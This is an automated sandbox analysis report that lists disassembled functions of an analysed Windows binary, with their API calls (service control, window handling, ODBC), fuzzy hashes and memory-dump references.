Function 0040A979 Relevance: 9.1, APIs: 6, Instructions: 98servicestringCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,20000000), ref: 0040A9B5
OpenServiceA.ADVAPI32(00000000,00000000,00000002,00000000,00000000,20000000), ref: 0040A9F8
lstrcpyn.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000002,00000000,00000000,20000000), ref: 0040AA3D
ChangeServiceConfig2A.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000002,00000000,00000000,20000000), ref: 0040AA75
CloseServiceHandle.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000002,00000000,00000000,20000000), ref: 0040AAA4
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000002,00000000,00000000,20000000), ref: 0040AAD0

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$CloseHandleOpen$ChangeConfig2Managerlstrcpyn
String ID:
API String ID: 409095021-0
Opcode ID: 177d5b8ebcfe51e41089aaf3680963caffc9a6a91cec8af26336fdaee2d5dd28
Instruction ID: 1d78c4633ff7730eff8b48efb201cfd3a4c199d0d01c9d3a59807983987f5d91
Opcode Fuzzy Hash: 177d5b8ebcfe51e41089aaf3680963caffc9a6a91cec8af26336fdaee2d5dd28
Instruction Fuzzy Hash: 8C314CB4E81309ABEB10EF95D907BDE7B31AB01714F14002AF5043A2D1D6BA1BA4DB97

Function 00425D62 Relevance: 9.1, APIs: 6, Instructions: 82windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00425D67
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 00425DB4
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 00425DD6
GetCapture.USER32 ref: 00425DE8
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 00425DF7
WinHelpA.USER32(?,?,?,?), ref: 00425E0B

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: MessageSend$CaptureH_prologHelp
String ID:
API String ID: 432264411-0
Opcode ID: 3076afa1cf6d88c7c18ad7beebe1900bfcde0ed06b173cb929ebba4154a19047
Instruction ID: 7b16c9078c487a33f7c498e2e4b4faf69d2d0c10400c48cb0ba0c9344814e9bb
Opcode Fuzzy Hash: 3076afa1cf6d88c7c18ad7beebe1900bfcde0ed06b173cb929ebba4154a19047
Instruction Fuzzy Hash: 3621B531300618BFEB20AF55EC89F6E77A9EF44754F40416DF102971E2CB759C009B24

Function 00428453 Relevance: 9.1, APIs: 6, Instructions: 67COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00428486
GetLastActivePopup.USER32(?), ref: 00428495
IsWindowEnabled.USER32(?), ref: 004284AA
EnableWindow.USER32(?,00000000), ref: 004284BD
GetWindowLongA.USER32(?,000000F0), ref: 004284CF
GetParent.USER32(?), ref: 004284DD

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: a0580e9356e49dbaa6cfe38511167332084b609700c1c310873cc142af9bd6e8
Instruction ID: 3ef711c962d634cc36fc1c86c0c71e659e566054054449869ef8e0b4fc6d1d98
Opcode Fuzzy Hash: a0580e9356e49dbaa6cfe38511167332084b609700c1c310873cc142af9bd6e8
Instruction Fuzzy Hash: 89118F327072339786317A69AD84B2FB2985F50B50F99026EED0493310FF29DC0182AE

Function 004280EA Relevance: 9.0, APIs: 6, Instructions: 46COMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 004280F9
GetWindow.USER32(?,00000005), ref: 0042810A
GetDlgCtrlID.USER32(00000000), ref: 00428113
GetWindowLongA.USER32(00000000,000000F0), ref: 00428122
GetWindowRect.USER32(00000000,?), ref: 00428134
PtInRect.USER32(?,?,?), ref: 00428144

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: c81987a98fa2f0a89c48829fe95e93be57eb208509f87c1dc51f1ffaacc83dd3
Instruction ID: d91b6396b895d25d45af8c6e119f0c2c6a01ad8f84f0543834b45a3559f1f908
Opcode Fuzzy Hash: c81987a98fa2f0a89c48829fe95e93be57eb208509f87c1dc51f1ffaacc83dd3
Instruction Fuzzy Hash: 70017C35206129ABDB215F64AC08EBF7728EF41750F844525FD01912A0DA3999238BAA

Function 00427204 Relevance: 9.0, APIs: 6, Instructions: 35COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000B), ref: 00427211
GetSystemMetrics.USER32(0000000C), ref: 00427218
GetDC.USER32(00000000), ref: 00427231
GetDeviceCaps.GDI32(00000000,00000058), ref: 00427242
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0042724A
ReleaseDC.USER32(00000000,00000000), ref: 00427252

Part of subcall function 0042942E: GetSystemMetrics.USER32(00000002), ref: 00429440
Part of subcall function 0042942E: GetSystemMetrics.USER32(00000003), ref: 0042944A

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: MetricsSystem$CapsDevice$Release
String ID:
API String ID: 1151147025-0
Opcode ID: fb2099477ee17256f8f42acae809aa5b1f44eb8ff03243e666295409e23f2370
Instruction ID: 959f8c0f15b25f3b7cb78f27b62997d3b26ac45b95f92dedf4cf15e3d9dbb61b
Opcode Fuzzy Hash: fb2099477ee17256f8f42acae809aa5b1f44eb8ff03243e666295409e23f2370
Instruction Fuzzy Hash: 0FF0B430B44704EFE3306F72AC49F17B7A4EB81751F40442EFA0146690DA799C068FBA

Function 00405A35 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 219COMMON

Download Yara Rule

APIs

wm_InStr.WMVERT(00000004,?,00000000,80000004,0042FBA2,00000000,80000004,00000000,00000000,00000000,00000000,00000000,80000002), ref: 00405A7E
wm_Trim.WMVERT(00000001,?,00000000,80000004), ref: 00405B58

Strings

Set-Cookie:, xrefs: 00405B03, 00405C2A

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Trim
String ID: Set-Cookie:
API String ID: 3043112668-2427311273
Opcode ID: 2b3376335fd3a459a9651b30498ac0edb6bdebecb037d471bd27d960e4f7e41f
Instruction ID: aaa72aee193466597efc2f18b3874d525d40ff1bfe19218ece177767cd73fffe
Opcode Fuzzy Hash: 2b3376335fd3a459a9651b30498ac0edb6bdebecb037d471bd27d960e4f7e41f
Instruction Fuzzy Hash: 7A6122B1B44304ABEB10DE95DCC2FDE77B4EB18704F54013AFA05B6382E679AD548B29

Function 00413869 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

wm_Space.WMVERT(00000001,00000006,00000000,80000301), ref: 004138B5
wm_Space.WMVERT(00000001,00000200,00000000,80000301), ref: 004138EE
SQLGetDiagRec.ODBC32(00000002,?,00000000,00000000,00000000,00000000,00000200,00000000), ref: 00413944
wm_Left.WMVERT(00000002,00000000,00000000,80000004,00000000,00000000,80000301,00000200,00000000), ref: 00413A00

Strings

d, xrefs: 00413A4F

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Space$DiagLeft
String ID: d
API String ID: 40174089-2564639436
Opcode ID: 9af637658b9b2ab7f2358ab16ee3ee63f82f2015eb99c45ea1f4e254a96b5dae
Instruction ID: 0b7d1833a44e16a23e5cb242c5dfc32eb87db11d4e21a7f9bfb2690776df74fc
Opcode Fuzzy Hash: 9af637658b9b2ab7f2358ab16ee3ee63f82f2015eb99c45ea1f4e254a96b5dae
Instruction Fuzzy Hash: 13512FB1E00309ABEF00DFD5DC81BEEB7B4AF08305F14446AFA14A6381D7795A948B65

Function 0042584C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000405,00000000,?), ref: 00425905
GetWindowLongA.USER32(?,000000FC), ref: 00425916
GetWindowLongA.USER32(?,000000FC), ref: 00425926
SetWindowLongA.USER32(?,000000FC,?), ref: 00425942

Strings

(, xrefs: 004258F0

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID: (
API String ID: 2178440468-3887548279
Opcode ID: cbcc3d3ee92735d38ef8ab0e47edcdcd6a81f6f3a2da9a83fe1b44e79330b9d5
Instruction ID: ebe105b923edc7bd8141e2787b0a9e720f9838da388353d195553a6c770e6b45
Opcode Fuzzy Hash: cbcc3d3ee92735d38ef8ab0e47edcdcd6a81f6f3a2da9a83fe1b44e79330b9d5
Instruction Fuzzy Hash: 0231E130701B249FDB20BF66E848A5EBBE4FF44324F54062EE54297791DB78E850CB98

Function 004282DB Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00428453: GetParent.USER32(?), ref: 00428486
Part of subcall function 00428453: GetLastActivePopup.USER32(?), ref: 00428495
Part of subcall function 00428453: IsWindowEnabled.USER32(?), ref: 004284AA
Part of subcall function 00428453: EnableWindow.USER32(?,00000000), ref: 004284BD

SendMessageA.USER32(?,00000376,00000000,00000000), ref: 00428311
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,00000000), ref: 0042837F
MessageBoxA.USER32(00000000,?,?,00000000), ref: 0042838D
EnableWindow.USER32(00000000,00000001), ref: 004283A9

Strings

/KB, xrefs: 004282DB

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Window$EnableMessage$ActiveEnabledFileLastModuleNameParentPopupSend
String ID: /KB
API String ID: 1958756768-1192193725
Opcode ID: 10500e9acd08e7e0e980a7e25ded97d9c800647ef047341976f8a60c8d2f5c14
Instruction ID: 77c7b5bd39a04fce41e5a9203e42f5ea045dde174efd3824ab00fb321bf276ab
Opcode Fuzzy Hash: 10500e9acd08e7e0e980a7e25ded97d9c800647ef047341976f8a60c8d2f5c14
Instruction Fuzzy Hash: 66218772B01125EFDB20DF94DC81AAEB7B5FB44B50F94046EEA14D7240CB7A9D408B65

Function 004236E1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(00442378,00000001), ref: 00423709
InitializeCriticalSection.KERNEL32(00442360,?,?,?,004236A0), ref: 00423714
EnterCriticalSection.KERNEL32(00442360,?,?,?,004236A0), ref: 00423753

Strings

`#D, xrefs: 004236FB

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: CriticalSection$EnterExchangeInitializeInterlocked
String ID: `#D
API String ID: 3643093385-2022629594
Opcode ID: a2d9bf54f074fba3721b6be8bdfb9f6a292192654f97413f30725780f1b673bf
Instruction ID: 0a2688fffde3efc7590316869c3b6f3b62a8d4b49b27db911439f57eb6f6c39e
Opcode Fuzzy Hash: a2d9bf54f074fba3721b6be8bdfb9f6a292192654f97413f30725780f1b673bf
Instruction Fuzzy Hash: 40F06DF43403609BEE214F747D89B262678F7D1BA2BE0C437FD0180250C6AC8951A71E

Function 004146E1 Relevance: 7.7, APIs: 5, Instructions: 192COMMON

Download Yara Rule

APIs

wm_Len.WMVERT(00000001,?,00000000,80000004,?,?,?,?,?,?,?,?,0041463E,?,?,00000000), ref: 0041472D
wm_InStr.WMVERT(00000004,00000000,00000000,80000004,00000000,00000000,80000004,00000000,00000000,80000301,00000000,00000000,80000002), ref: 004147E2
wm_InStrRev.WMVERT(00000004,00000000,00000000,80000004,00000000,00000000,80000004,00000000,00000000,80000301,00000000,00000000,80000002), ref: 00414863
wm_Len.WMVERT(00000001,00000000,00000000,80000004), ref: 004148A2
wm_Right.WMVERT(00000002,00000000,00000000,80000004,00000000,00000000,80000301), ref: 00414907

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Right
String ID:
API String ID: 1963678224-0
Opcode ID: 25f313ade5e9687821b84ae1f2b38d175466ede2c7c7b86d13e91aae3be0e0fb
Instruction ID: 043c3e6e5802a917a582bcb335f282ba102215720446b0270938a2241a89de90
Opcode Fuzzy Hash: 25f313ade5e9687821b84ae1f2b38d175466ede2c7c7b86d13e91aae3be0e0fb
Instruction Fuzzy Hash: C2717570E00218EBEF10DF91D885BEE7BB4EF48714F504065FA50BA281D7795EA4C759

Function 0041D606 Relevance: 7.6, APIs: 5, Instructions: 150COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 0041D664
GetFileType.KERNEL32(?,?,00000000), ref: 0041D70F
GetStdHandle.KERNEL32(-000000F6,?,00000000), ref: 0041D772
GetFileType.KERNEL32(00000000,?,00000000), ref: 0041D780
SetHandleCount.KERNEL32 ref: 0041D7B7

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: 5687a8951682c1730079cbaef003c0a880ddcea8a545faf3e2b66c2e4d2011be
Instruction ID: eb24ee4a450cf208ad9c68df86d98b2294141f13cb05ef33b33bc58bb36af226
Opcode Fuzzy Hash: 5687a8951682c1730079cbaef003c0a880ddcea8a545faf3e2b66c2e4d2011be
Instruction Fuzzy Hash: 3B5129B5D046019FC724CF28C8847EA7BE0AB12729F28467ED466C73E1D7389986C719

Function 0040AC5D Relevance: 7.6, APIs: 5, Instructions: 116serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040AC99
GetServiceKeyNameA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040ACDE
wm_Space.WMVERT(00000001,00000000,00000000,80000301,00000000,00000000,80000000), ref: 0040AD13
GetServiceKeyNameA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040AD4D
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,80000000), ref: 0040AD7C

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$Name$CloseHandleManagerOpenSpace
String ID:
API String ID: 3124898402-0
Opcode ID: 89b9a3572ab5efb6bf75c285c651cd1e2f20d7e4cd87b76c3a9e58e1c9dbaf82
Instruction ID: b6a073d2a0d7d16316a11d420eee795e205c0f2b2c08d51821925f5df3d01334
Opcode Fuzzy Hash: 89b9a3572ab5efb6bf75c285c651cd1e2f20d7e4cd87b76c3a9e58e1c9dbaf82
Instruction Fuzzy Hash: 71417CB1E41309ABEF10EFD5D842BDEB7B5AF04705F14002AF904BA281DA795B50DBA7

Function 0040A1E4 Relevance: 7.6, APIs: 5, Instructions: 101serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040A236
OpenServiceA.ADVAPI32(00000000,?,80000000,00000000,00000000,80000000), ref: 0040A279
QueryServiceStatus.ADVAPI32(00000000,?,00000000,?,80000000,00000000,00000000,80000000), ref: 0040A2B5
CloseServiceHandle.ADVAPI32(00000000,00000000,?,00000000,?,80000000,00000000,00000000,80000000), ref: 0040A2FA
CloseServiceHandle.ADVAPI32(00000000,00000000,?,80000000,00000000,00000000,80000000), ref: 0040A326

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$CloseHandleOpen$ManagerQueryStatus
String ID:
API String ID: 2623946379-0
Opcode ID: d9a540c189ff776887b6519f0c06c9e0662a9abc5ac1888f1ab20777a22eac17
Instruction ID: fef70db67213c227c8ce40ac646b1186f05c2787ff293adee67c295b6919cbda
Opcode Fuzzy Hash: d9a540c189ff776887b6519f0c06c9e0662a9abc5ac1888f1ab20777a22eac17
Instruction Fuzzy Hash: 5B3138B0E41308ABEB10EF95D842BDEBB71AB05714F14007AF9047A3C1D67A5B60CBA7

Function 00411EDB Relevance: 7.6, APIs: 5, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

SQLAllocHandle.ODBC32(00000003,?,00000000), ref: 00411F13
SQLSetStmtAttr.ODBC32(00000000,00000006,?,00000000,00000003,?,00000000), ref: 00411F76
wm_Len.WMVERT(00000001,00000000,00000000,80000004,00000000,00000006,?,00000000,00000003,?,00000000), ref: 00411FBB
SQLExecDirect.ODBC32(00000000,?,?,00000000,00000003,?,00000000), ref: 00411FD9
SQLFreeHandle.ODBC32(00000003,00000000,00000000,?,?,00000000,00000003,?,00000000), ref: 00412019

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Handle$AllocAttrDirectExecFreeStmt
String ID:
API String ID: 3485258646-0
Opcode ID: bbd7cfe70b014b7c7d94f9c0bec31e1adf6b87cf64a8d4dba5ca87fe4df26f02
Instruction ID: b172b1e4a98220d5cea3ee381b0b0814b4e7a3b1ed06639e9790b80bd464c294
Opcode Fuzzy Hash: bbd7cfe70b014b7c7d94f9c0bec31e1adf6b87cf64a8d4dba5ca87fe4df26f02
Instruction Fuzzy Hash: 95315D74E40308FBEB109F91DC42BDEBB70EB05704F00805AFA046A291D7BA5A94DB9B

Function 0040B2A8 Relevance: 7.6, APIs: 5, Instructions: 95serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,00000001), ref: 0040B2FA
OpenServiceA.ADVAPI32(00000000,00000000,00000020,00000000,00000000,00000001), ref: 0040B33D
ControlService.ADVAPI32(00000000,00000001,?,00000000,00000000,00000020,00000000,00000000,00000001), ref: 0040B37E
CloseServiceHandle.ADVAPI32(00000000,00000000,00000001,?,00000000,00000000,00000020,00000000,00000000,00000001), ref: 0040B3AD
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000020,00000000,00000000,00000001), ref: 0040B3D9

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
